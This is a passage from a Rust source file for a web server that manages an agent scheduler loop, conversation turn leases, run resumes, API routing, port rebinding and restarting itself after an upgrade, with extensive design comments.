927    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
928        self.machine_config = path;
929        self
930    }
931
932    /// Where the runs' worktrees live, when it is not the default.
933    ///
934    /// The health view sizes this directory, so a test that leaves it at the
935    /// default would be measuring the operator's own machine.
936    #[must_use]
937    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
938        self.worktrees_root = root;
939        self
940    }
941
942    /// Point the loop at something other than [`launch_daemon`].
943    ///
944    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
945    /// this crate may start the real loop.
946    #[cfg(test)]
947    #[must_use]
948    fn with_launch(mut self, launch: Launch) -> Self {
949        self.launch = launch;
950        self
951    }
952
953    /// Install a [`BusyQueueGate`] for the next pass through the busy
954    /// branch's queued-draft write, replacing any earlier one.
955    ///
956    /// A setter on `&self` rather than a `with_*` builder consumed once,
957    /// because a test that drives the busy branch more than once (as
958    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
959    /// to build confidence the interleaving is handled deterministically and
960    /// not just on a lucky run) needs a fresh channel pair each time, on the
961    /// one `Ui` it already built its temp directories around.
962    #[cfg(test)]
963    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
964        *self
965            .busy_queue_gate
966            .lock()
967            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
968    }
969
970    /// Prevent a restart from ending an already accepted send between its
971    /// durable transcript write and detached worker reservation.
972    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
973        let guard = Arc::clone(&self.admissions)
974            .try_read_owned()
975            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
976        if *guard {
977            return Err(ApiError::conflict(
978                "web restart in progress; retry this message",
979            ));
980        }
981        Ok(guard)
982    }
983
984    /// Start a scheduler that outlives this web process.
985    async fn start_detached_loop(&self) -> ApiResult<()> {
986        if self
987            .upgrade_spawned
988            .load(std::sync::atomic::Ordering::SeqCst)
989        {
990            return Err(ApiError::conflict("an upgrade is in progress"));
991        }
992        let reading = daemon::read_status(&self.home);
993        if let Some(other) = Foreign::of(reading.as_ref()) {
994            return Err(ApiError::conflict(format!(
995                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
996                other.who()
997            )));
998        }
999        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1000        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1001        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1002            || reading.is_some_and(|reading| {
1003                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1004            });
1005        if control.is_some() && scheduler_running {
1006            return Err(ApiError::conflict(
1007                "the scheduler is still stopping; retry Start after it has stopped",
1008            ));
1009        }
1010        if !jobs.iter().any(|job| job.kind == "scheduler") {
1011            let available =
1012                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1013            if available.is_none() {
1014                return Err(ApiError::conflict(
1015                    "the scheduler is still running or stopping; retry after its transition completes",
1016                ));
1017            }
1018            drop(available);
1019        }
1020        let opts = daemon::Opts {
1021            repo: self.repo.clone(),
1022            merge: self.merge.clone(),
1023            worktrees_root: Some(self.worktrees_root.clone()),
1024            ..daemon::Opts::default()
1025        };
1026        daemon::spawn_detached(&self.home, &opts)
1027            .await
1028            .map_err(ApiError::from)?;
1029        let mut state = self.lock_loop();
1030        state.last_error = None;
1031        state.rev += 1;
1032        Ok(())
1033    }
1034
1035    /// Start the loop in this process, or say who already has one.
1036    ///
1037    /// `foreign` is passed in rather than read here so that one request makes
1038    /// one judgement about who owns the loop: reading the status file again
1039    /// inside this function could refuse a start for a daemon the same
1040    /// response then reports as gone.
1041    #[cfg(test)]
1042    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1043        if let Some(other) = foreign {
1044            return Err(ApiError::conflict(format!(
1045                "{} is already running the loop, so this one will not start a \
1046                 second: two loops on one queue race for the same claims and \
1047                 burn the agent quota twice over. Stop it where it was \
1048                 started.",
1049                other.who()
1050            )));
1051        }
1052        let mut state = self.lock_loop();
1053        if self
1054            .upgrade_spawned
1055            .load(std::sync::atomic::Ordering::SeqCst)
1056        {
1057            return Err(ApiError::conflict("an upgrade is in progress"));
1058        }
1059        if state.live.as_ref().is_some_and(Live::alive) {
1060            return Err(ApiError::conflict(format!(
1061                "this magi web process (pid {}) is already running the loop",
1062                std::process::id()
1063            )));
1064        }
1065
1066        let stop = daemon::Stop::new();
1067        // The CLI's own defaults for everything the UI has no opinion about:
1068        // one poll interval and one retry budget, so a loop started from a
1069        // phone behaves exactly like the `magi serve` it replaces.
1070        let opts = daemon::Opts {
1071            repo: self.repo.clone(),
1072            merge: self.merge.clone(),
1073            // Whatever this `Ui` already reports worktree sizes and folds
1074            // against (see `with_worktrees_root`) is what the loop it starts
1075            // must reclaim orphaned worktrees under too - two different
1076            // opinions about where the worktree bay is would leave the
1077            // janitor pass reclaiming a directory nothing else on this
1078            // process is even looking at.
1079            worktrees_root: Some(self.worktrees_root.clone()),
1080            ..daemon::Opts::default()
1081        };
1082        let launch = self.launch;
1083        let looping = Arc::clone(&self.looping);
1084        let handle = tokio::spawn({
1085            let opts = opts.clone();
1086            let stop = stop.clone();
1087            async move {
1088                let failure = match launch(opts, stop).await {
1089                    Ok(()) => None,
1090                    Err(e) => Some(format!("{e:#}")),
1091                };
1092                match &failure {
1093                    Some(why) => tracing::error!("the loop stopped: {why}"),
1094                    None => tracing::info!("the loop stopped"),
1095                }
1096                // Recorded by the task itself rather than reaped by whichever
1097                // request happens next, so `loop_rev` moves the moment the
1098                // loop ends and a phone with the change stream open learns
1099                // that it did. Clearing `live` drops this task's own handle,
1100                // which only detaches it, and is the last thing it does.
1101                let mut state = lock_or_recover(&looping);
1102                state.live = None;
1103                state.last_error = failure;
1104                state.rev += 1;
1105            }
1106        });
1107        tracing::info!(
1108            "the loop is now running in this process: repo {}, merge {}",
1109            opts.repo.display(),
1110            opts.merge.as_deref().unwrap_or("as the config says")
1111        );
1112        state.live = Some(Live { stop, handle, opts });
1113        // A fresh start is not the place to keep showing why the last one
1114        // died; the operator has read it and pressed the button anyway.
1115        state.last_error = None;
1116        state.rev += 1;
1117        Ok(())
1118    }
1119
1120    /// Ask the loop to stop, without waiting for it to get there.
1121    ///
1122    /// Idempotent: a second tap on stop is not an error, because the first one
1123    /// leaves the loop running for as long as the run in flight takes and the
1124    /// operator has no way to tell a slow stop from a lost one.
1125    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1126        if let Some(other) = foreign {
1127            return Err(ApiError::conflict(format!(
1128                "the loop belongs to {}, and this process cannot stop it - \
1129                 stop it where it was started. A button that silently did \
1130                 nothing would be worse than this refusal.",
1131                other.who()
1132            )));
1133        }
1134        #[cfg(not(test))]
1135        {
1136            daemon::request_control(
1137                &self.home,
1138                if park {
1139                    crate::worker::Control::Park
1140                } else {
1141                    crate::worker::Control::Stop
1142                },
1143            )
1144            .map_err(ApiError::from)?;
1145            self.lock_loop().rev += 1;
1146            Ok(())
1147        }
1148        #[cfg(test)]
1149        {
1150            let mut state = self.lock_loop();
1151            let Some(live) = state.live.as_ref() else {
1152                return Ok(());
1153            };
1154            // A park upgrades a stop that has already been asked for: the
1155            // operator who tapped "stop" and then realised the run has an hour
1156            // left must not have to restart the loop to change their mind.
1157            if live.stop.stopped() && (!park || live.stop.parking()) {
1158                return Ok(());
1159            }
1160            if park {
1161                live.stop.park(crate::run::ParkCause::Operator);
1162                tracing::info!(
1163                    "the loop was asked to park; the run stops at its next node boundary"
1164                );
1165            } else {
1166                live.stop.stop();
1167                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1168            }
1169            state.rev += 1;
1170            Ok(())
1171        }
1172    }
1173
1174    /// The loop as both `/api/loop` and `/api/health` report it.
1175    ///
1176    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1177    /// health answers with this view *and* the daemon object beside it: one
1178    /// read per response is what stops a single answer naming a foreign owner
1179    /// in one field and calling the loop free in the other.
1180    #[cfg(not(test))]
1181    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1182        let jobs = crate::worker::active(&self.home).map_err(|error| {
1183            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1184        })?;
1185        Ok(self.runtime_loop_view(reading, &jobs))
1186    }
1187
1188    #[cfg(test)]
1189    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1190        let state = self.lock_loop();
1191        // A loop that panicked never recorded its own end, so the handle -
1192        // not the presence of the record - is what "running" means.
1193        let live = state.live.as_ref().filter(|live| live.alive());
1194        LoopView {
1195            running: live.is_some(),
1196            stopping: live.is_some_and(|live| live.stop.finishing()),
1197            parking: live.is_some_and(|live| live.stop.parking()),
1198            owned: live.is_some(),
1199            repo: live
1200                .map_or(&self.repo, |live| &live.opts.repo)
1201                .display()
1202                .to_string(),
1203            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1204            last_error: state.last_error.clone(),
1205            daemon: DaemonView::of(reading),
1206        }
1207    }
1208
1209    /// Reuse one active-job snapshot for both ownership and public health.
1210    fn runtime_loop_view(
1211        &self,
1212        reading: Option<daemon::Reading>,
1213        jobs: &[crate::worker::Job],
1214    ) -> LoopView {
1215        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1216        let reporting = reading
1217            .as_ref()
1218            .is_some_and(|r| r.running(Timestamp::now()));
1219        let managed = scheduler.is_some()
1220            || (reporting
1221                && reading
1222                    .as_ref()
1223                    .is_some_and(|r| r.worker_protocol == Some(1)));
1224        let control = crate::worker::control(&self.home, "scheduler")
1225            .ok()
1226            .flatten();
1227        // Foreground serve also persists its options, so ownership never
1228        // causes us to substitute the web process's repository for its own.
1229        let persisted = if managed && scheduler.is_none() {
1230            std::fs::read(self.home.join("scheduler-options.json"))
1231                .ok()
1232                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1233        } else {
1234            None
1235        };
1236        let repo = scheduler
1237            .and_then(|job| job.payload.get("repo"))
1238            .and_then(serde_json::Value::as_str)
1239            .map(str::to_owned)
1240            .or_else(|| {
1241                persisted
1242                    .as_ref()
1243                    .map(|opts| opts.repo.display().to_string())
1244            })
1245            .unwrap_or_else(|| self.repo.display().to_string());
1246        let merge = match scheduler {
1247            Some(job) => job
1248                .payload
1249                .get("merge")
1250                .and_then(serde_json::Value::as_str)
1251                .map(str::to_owned),
1252            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1253        };
1254        LoopView {
1255            running: managed || reporting,
1256            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1257            parking: matches!(control, Some(crate::worker::Control::Park))
1258                && jobs.iter().any(|job| job.kind == "task"),
1259            owned: managed,
1260            repo,
1261            merge,
1262            last_error: self.lock_loop().last_error.clone(),
1263            daemon: DaemonView::of(reading),
1264        }
1265    }
1266
1267    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1268    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1269        lock_or_recover(&self.looping)
1270    }
1271
1272    /// In-flight admission, detached startup, or a cross-process turn lease.
1273    fn is_thinking(&self, id: &str) -> bool {
1274        self.talk_turns
1275            .lock()
1276            .is_ok_and(|turns| turns.live.contains(id))
1277            // Another process (the CLI) can hold the turn through the
1278            // on-disk lease.
1279            || self.talks.turn_held(id)
1280            || crate::consult::turn_worker_active(&self.talks, id)
1281    }
1282
1283    /// 表示専用の観測。ローカルの受付処理やワーカーストアの書き込みを待たない。
1284    /// 送信・アップグレードなどの判断には [`Ui::is_thinking`] を使う。
1285    fn is_thinking_observed(&self, id: &str) -> bool {
1286        self.talk_turns.try_lock().map_or_else(
1287            // Admission may itself be waiting on the worker store. Display a
1288            // conservative busy state rather than waiting behind that writer.
1289            |error| matches!(error, std::sync::TryLockError::WouldBlock),
1290            |turns| turns.live.contains(id),
1291        )
1292            // Another process (the CLI) can hold the turn through the
1293            // on-disk lease.
1294            || self.talks.turn_held(id)
1295            || crate::consult::turn_worker_observed(&self.talks, id)
1296    }
1297
1298    /// Claim the right to run one turn in a talk, or report that it is busy.
1299    ///
1300    /// A talk is strictly turn-based: the agent is resumed with the
1301    /// conversation it already has, so two turns running at once would resume
1302    /// the same session twice and append their answers in whatever order the
1303    /// two CLIs finished in. The operator would come back to a transcript
1304    /// with two half-turns interleaved, which is unreadable and, worse,
1305    /// unfixable - there is no undo for a persisted turn.
1306    ///
1307    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1308    /// starting a second CLI invocation for the same session.
1309    ///
1310    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1311    /// taken to test-and-insert and released before the agent is spawned. The
1312    /// returned guard removes the id on drop, which is what makes a panicking
1313    /// handler or a phone that walks out of range leave the talk usable - axum
1314    /// drops the handler future when the client disconnects, and without the
1315    /// guard that talk would be wedged until the server restarted.
1316    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1317        self.claim_talk_turn(id, false)
1318    }
1319
1320    /// Claim a turn after durably queueing a draft, or notify its current
1321    /// owner that a drainer must recheck before it releases the slot.
1322    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1323        self.claim_talk_turn(id, true)
1324    }
1325
1326    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1327        let mut live = self
1328            .talk_turns
1329            .lock()
1330            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1331        if crate::consult::turn_worker_active(&self.talks, id) {
1332            if queued {
1333                *live.queued.entry(id.to_owned()).or_default() += 1;
1334            }
1335            return Ok(None);
1336        }
1337        let inserted = live.live.insert(id.to_owned());
1338        // The on-disk lease is the cross-process half of the gate. Taken
1339        // second, and undone if lost, so `live` never claims a turn the lease
1340        // refused.
1341        let lease = if inserted {
1342            match self.talks.claim_turn(id) {
1343                Ok(Some(lease)) => Some(lease),
1344                Ok(None) => {
1345                    live.live.remove(id);
1346                    None
1347                }
1348                Err(e) => {
1349                    live.live.remove(id);
1350                    return Err(ApiError::from(e));
1351                }
1352            }
1353        } else {
1354            None
1355        };
1356        if lease.is_none() {
1357            if queued {
1358                // A queued write has landed before this busy check.
1359                // `drain_loop` uses this generation to recheck after its
1360                // off-thread disk read, so it cannot release a turn between
1361                // this check and the write.
1362                *live.queued.entry(id.to_owned()).or_default() += 1;
1363            }
1364            return Ok(None);
1365        }
1366        Ok(Some(TalkTurnGuard {
1367            talk: id.to_owned(),
1368            turns: Arc::clone(&self.talk_turns),
1369            released: false,
1370            lease,
1371        }))
1372    }
1373
1374    /// Decide whether a free talk may start a new immediate turn while its
1375    /// claim lock is held. A persisted draft without an owner is recovery
1376    /// state, not a busy turn: two simultaneous `/say` requests must both
1377    /// leave it untouched rather than one of them appending to it.
1378    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1379        let mut live = self
1380            .talk_turns
1381            .lock()
1382            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1383        // A detached worker owns its turn across web process replacement.
1384        if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1385            return Ok(TalkTurnStart::Busy);
1386        }
1387        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1388            return Ok(TalkTurnStart::Foreign);
1389        };
1390        // A refused `Pending` below drops the lease again.
1391        let talk = self.talks.get(id).map_err(ApiError::from)?;
1392        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1393            return Ok(TalkTurnStart::Pending);
1394        }
1395        live.live.insert(id.to_owned());
1396        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1397            talk: id.to_owned(),
1398            turns: Arc::clone(&self.talk_turns),
1399            released: false,
1400            lease: Some(lease),
1401        }))
1402    }
1403
1404    fn queued_generation(&self, id: &str) -> u64 {
1405        let live = self
1406            .talk_turns
1407            .lock()
1408            .unwrap_or_else(PoisonError::into_inner);
1409        live.queued.get(id).copied().unwrap_or(0)
1410    }
1411
1412    /// Automatic updates begin only when execution and chat workers are idle.
1413    /// A worker racing this snapshot survives the restart on its own executable.
1414    fn auto_upgrade_busy(&self) -> bool {
1415        #[cfg(test)]
1416        if self
1417            .lock_loop()
1418            .live
1419            .as_ref()
1420            .is_some_and(|live| live.stop.busy_now())
1421        {
1422            return true;
1423        }
1424        crate::worker::active(&self.home)
1425            .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1426            || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1427            || !self
1428                .resuming
1429                .lock()
1430                .unwrap_or_else(PoisonError::into_inner)
1431                .is_empty()
1432            || !self
1433                .talk_turns
1434                .lock()
1435                .unwrap_or_else(PoisonError::into_inner)
1436                .live
1437                .is_empty()
1438            || self
1439                .talks
1440                .list()
1441                .iter()
1442                .any(|talk| self.is_thinking(&talk.id))
1443    }
1444
1445    /// Claim a run for a resume, on the same reasoning as
1446    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1447    /// disconnected phone does not wedge the run until the server restarts.
1448    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1449        let mut live = self
1450            .resuming
1451            .lock()
1452            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1453        if self
1454            .upgrade_spawned
1455            .load(std::sync::atomic::Ordering::SeqCst)
1456        {
1457            return Err(ApiError::conflict("an upgrade is in progress"));
1458        }
1459        if !live.insert(id.to_owned()) {
1460            return Err(ApiError::conflict(format!(
1461                "run {id} is already being resumed"
1462            )));
1463        }
1464        Ok(ResumeGuard {
1465            run: id.to_owned(),
1466            resuming: Arc::clone(&self.resuming),
1467        })
1468    }
1469
1470    /// The router, with this state baked in.
1471    ///
1472    /// The three front-end files get one explicit route each rather than a
1473    /// path parameter, so there is no traversal surface to get wrong: the set
1474    /// of servable paths is the set written here. The asset route below is the
1475    /// one exception and the only place in this server where a client names a
1476    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1477    pub fn router(self) -> Router {
1478        Arc::new(self).shared_router()
1479    }
1480
1481    fn shared_router(self: Arc<Self>) -> Router {
1482        Router::new()
1483            .route("/", get(index))
1484            .route("/app.css", get(app_css))
1485            .route("/app.js", get(app_js))
1486            .route("/api/health", get(health))
1487            .route("/api/references", post(id_links::resolve_text))
1488            .route("/api/loop", get(loop_get).post(loop_post))
1489            .route("/api/upgrade", post(upgrade_post))
1490            .route("/api/runs", get(runs_list))
1491            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1492            .route("/api/runs/{id}/core", get(run_core))
1493            .route("/api/runs/{id}/report", get(run_report))
1494            .route("/api/runs/{id}/report.json", get(run_report_json))
1495            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1496            .route("/api/runs/{id}/fold", post(run_fold))
1497            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1498            .route("/api/runs/{id}/resume", post(run_resume))
1499            .route("/api/queue", get(queue_list))
1500            .route("/api/queue/page", get(queue_page))
1501            .route("/api/search", get(search_get))
1502            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1503            .route("/api/queue/{id}/core", get(task_core))
1504            .route("/api/stats", get(stats_get))
1505            .route("/api/stats/queue", get(stats_queue))
1506            .route("/api/repos", get(repos_list))
1507            .route("/api/settings", get(settings_get))
1508            .route("/api/settings/roles", put(settings_put_roles))
1509            .route("/api/queue/{id}/hold", post(queue_hold))
1510            .route("/api/queue/{id}/release", post(queue_release))
1511            .route("/api/queue/{id}/priority", post(queue_priority))
1512            .route("/api/queue/{id}/urgent", post(queue_urgent))
1513            .route("/api/queue/{id}/implementers", post(queue_implementers))
1514            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1515            .route("/api/queue/{id}/edit", post(queue_edit))
1516            .route("/api/queue/{id}/done", post(queue_done))
1517            .route("/api/questions", get(questions_list))
1518            .route("/api/questions/core", get(questions_core))
1519            .route("/api/questions/origins", get(question_origins))
1520            .route("/api/questions/{id}/answer", post(question_answer))
1521            .route("/api/questions/{id}/say", post(question_say))
1522            .route("/api/questions/{id}/consult", post(question_consult))
1523            .route("/api/questions/{id}/panel", get(question_panel))
1524            // The same asset, reachable from inside the panel by its bare
1525            // filename. A document served at `.../panel` resolves `shot.png`
1526            // to `.../shot.png`, which is not the asset route, so a panel
1527            // written the way its author was told to write it showed broken
1528            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1529            // it - deliberately - so the fix is that the panel's own URL ends
1530            // in a filename and its siblings are the assets.
1531            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1532            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1533            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1534            .route("/api/notifications", get(notifications_list))
1535            .route("/api/notifications/read-all", post(notifications_read_all))
1536            .route("/api/notifications/{id}/read", post(notification_read))
1537            .route(
1538                "/api/notifications/{id}/dismiss",
1539                post(notification_dismiss),
1540            )
1541            .route("/api/talks", get(talks_list).post(talk_post))
1542            .route("/api/talks/page", get(talks_page))
1543            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1544            .route("/api/talks/{id}/core", get(talk_core))
1545            .route("/api/talks/{id}/sections", get(talk_sections))
1546            .route("/api/talks/{id}/say", post(talk_say))
1547            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1548            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1549            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1550            .route("/api/talks/{id}/agent", post(talk_agent))
1551            .route("/api/talks/{id}/persona", post(talk_persona))
1552            .route("/api/talks/{id}/implementers", post(talk_implementers))
1553            .route("/api/talks/{id}/close", post(talk_close))
1554            .route("/api/talks/{id}/reopen", post(talk_reopen))
1555            // `DefaultBodyLimit` is raised only on this one route - every
1556            // other route on this server answers in a few kilobytes, and
1557            // widening the crate-wide default for all of them just because
1558            // one accepts a picture would let any other handler be handed
1559            // a multi-megabyte body it never expects.
1560            .route(
1561                "/api/talks/{id}/attachments",
1562                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1563            )
1564            .route(
1565                "/api/talks/{id}/attachments/{att}",
1566                get(talk_attachment_get),
1567            )
1568            .route("/api/talks/{id}/avatar", get(talk_avatar))
1569            .route("/avatars/operator.svg", get(operator_avatar))
1570            .route(
1571                "/api/avatar-settings",
1572                get(avatar_settings_get)
1573                    .put(avatar_settings_put)
1574                    .delete(avatar_settings_delete),
1575            )
1576            .route("/avatars/persona", get(settings_persona_avatar))
1577            .route("/avatars/magi", get(magi_avatar))
1578            .route(
1579                "/api/magi-icon",
1580                get(magi_icon_get)
1581                    .put(magi_icon_put)
1582                    .delete(magi_icon_delete),
1583            )
1584            .route("/api/events", get(events))
1585            .with_state(self)
1586    }
1587}
1588
1589/// One talk's turn slot, released on drop.
1590///
1591/// A guard rather than a matching `remove` at the end of the handler, because
1592/// the handler has several early returns and one `await` that can be cancelled
1593/// out from under it. A leaked id is a talk nobody can talk to again.
1594#[derive(Debug)]
1595struct TalkTurnGuard {
1596    talk: String,
1597    turns: Arc<Mutex<TalkTurns>>,
1598    released: bool,
1599    /// The cross-process half of the slot; dropped with the guard.
1600    lease: Option<crate::talk::TurnLease>,
1601}
1602
1603/// In-memory turn ownership plus the queue generation observed by a drainer.
1604///
1605/// The generation changes only after a durable queued draft is written and its
1606/// caller finds the turn busy. That lets the loop run filesystem work outside
1607/// this mutex while still making the final empty-check/release atomic with a
1608/// concurrent queue handoff.
1609#[derive(Debug, Default)]
1610struct TalkTurns {
1611    live: HashSet<String>,
1612    queued: HashMap<String, u64>,
1613}
1614
1615/// The atomic initial-state decision made by
1616/// [`Ui::begin_talk_turn_unless_pending`].
1617enum TalkTurnStart {
1618    Claimed(TalkTurnGuard),
1619    Busy,
1620    /// Another process holds the turn lease. Unlike `Busy` there is no local
1621    /// drain loop that would answer a queued draft, so the caller refuses.
1622    Foreign,
1623    Pending,
1624}
1625
1626impl TalkTurnGuard {
1627    #[cfg(test)]
1628    /// Does this guard still own the on-disk lease? A transient failure to
1629    /// check counts as owning: the next beat decides. A guard that lost it
1630    /// must not start another turn on the same session.
1631    fn owns(&self) -> bool {
1632        self.lease
1633            .as_ref()
1634            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1635    }
1636
1637    #[cfg(test)]
1638    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1639    /// than the lease's TTL still reads as held to other processes.
1640    async fn respond(
1641        &self,
1642        talk: &mut Talk,
1643        talks: &Talks,
1644        cfg: &Config,
1645        text: &str,
1646    ) -> anyhow::Result<()> {
1647        let lease = self
1648            .lease
1649            .as_ref()
1650            .context("the turn guard no longer holds its lease")?;
1651        talk::respond(lease, talk, talks, cfg, text).await
1652    }
1653
1654    /// Release while the caller already holds the claim mutex, closing the
1655    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1656    fn release(mut self, live: &mut TalkTurns) {
1657        // The on-disk lease goes first: while `live` still names the talk, no
1658        // local claim can start, so nobody observes the slot free but the
1659        // lease held.
1660        self.lease = None;
1661        live.live.remove(&self.talk);
1662        live.queued.remove(&self.talk);
1663        self.released = true;
1664    }
1665}
1666
1667impl Drop for TalkTurnGuard {
1668    fn drop(&mut self) {
1669        if self.released {
1670            return;
1671        }
1672        // Lease first, then the in-process slot (see `release`).
1673        drop(self.lease.take());
1674        if let Ok(mut live) = self.turns.lock() {
1675            live.live.remove(&self.talk);
1676            live.queued.remove(&self.talk);
1677        }
1678    }
1679}
1680
1681/// Releases a resume claim, so a run is resumable again after the attempt.
1682struct ResumeGuard {
1683    run: String,
1684    resuming: Arc<Mutex<HashSet<String>>>,
1685}
1686
1687impl Drop for ResumeGuard {
1688    fn drop(&mut self) {
1689        if let Ok(mut live) = self.resuming.lock() {
1690            live.remove(&self.run);
1691        }
1692    }
1693}
1694
1695/// Bind the port, waiting briefly for a predecessor to let go of it.
1696///
1697/// A restart hands the address from one process to the next, and the old one
1698/// holds its listener until it unwinds. A single `bind` can lose that race,
1699/// and for a restart triggered from a phone that means the deck never comes
1700/// back with no terminal around to say why.
1701///
1702/// Bounded, and only for the one error a wait can fix: anything else fails at
1703/// once, because retrying it would turn a clear message into a silence.
1704async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1705    const WINDOW: Duration = Duration::from_secs(10);
1706    const GAP: Duration = Duration::from_millis(250);
1707
1708    let deadline = std::time::Instant::now() + WINDOW;
1709    let mut said = false;
1710    loop {
1711        match tokio::net::TcpListener::bind(socket).await {
1712            Ok(listener) => return Ok(listener),
1713            Err(e)
1714                if e.kind() == std::io::ErrorKind::AddrInUse
1715                    && std::time::Instant::now() < deadline =>
1716            {
1717                if !said {
1718                    said = true;
1719                    tracing::info!(
1720                        "{socket} is still held - waiting up to {}s for it, \
1721                         which is what a restart looks like from here",
1722                        WINDOW.as_secs()
1723                    );
1724                }
1725                tokio::time::sleep(GAP).await;
1726            }
1727            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1728        }
1729    }
1730}
1731
1732/// Signalled when an upgrade has replaced the binary and the successor should
1733/// take this address over. One per process: there is one address to hand on.
1734static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1735
1736/// Set to `1` on the successor when the loop was running at handover.
1737const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1738/// Keep a dynamically assigned listener address stable across replacement.
1739const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1740
1741/// Whether the environment value asks for the loop to be resumed.
1742fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1743    value.is_some_and(|v| v == "1")
1744}
1745
1746/// Start this binary again with the same arguments, detached.
1747///
1748/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1749/// so the address is already free when the successor binds it. The first
1750/// attempt at this spawned the successor two hundred milliseconds before
1751/// exiting instead, and the released binary - which has no bind retry - died
1752/// on "address already in use" with its stdio sent to null, so the deck
1753/// simply never came back.
1754///
1755/// Detached and without inherited stdio: the successor has to outlive this
1756/// process, and must not hold open a pipe a terminal is waiting on.
1757///
1758/// The scheduler is restarted separately; execution workers are not awaited.
1759///
1760/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1761/// than sent to null: a supervisor's redirection only ever held the first
1762/// generation's descriptors, so every later generation logged nowhere. The
1763/// pid of the child is returned so the handover log can name it.
1764fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1765    let args: Vec<String> = std::env::args().skip(1).collect();
1766    updater::log_step(
1767        home,
1768        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1769    );
1770    let log_path = home.join(WEB_LOG);
1771    let open_log = || {
1772        std::fs::create_dir_all(home)?;
1773        std::fs::OpenOptions::new()
1774            .create(true)
1775            .append(true)
1776            .open(&log_path)
1777    };
1778    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1779        Ok(pair) => (
1780            std::process::Stdio::from(pair.0),
1781            std::process::Stdio::from(pair.1),
1782        ),
1783        Err(e) => {
1784            updater::log_warn(
1785                home,
1786                &format!(
1787                    "could not open {}: {e}; the successor logs nowhere",
1788                    log_path.display()
1789                ),
1790            );
1791            (std::process::Stdio::null(), std::process::Stdio::null())
1792        }
1793    };
1794
1795    let mut cmd = std::process::Command::new(exe);
1796    cmd.env_remove(RESUME_LOOP_ENV);
1797    cmd.env(RESTART_PORT_ENV, port.to_string());
1798    cmd.args(&args)
1799        .stdin(std::process::Stdio::null())
1800        .stdout(out)
1801        .stderr(err);
1802    #[cfg(windows)]
1803    {
1804        use std::os::windows::process::CommandExt as _;
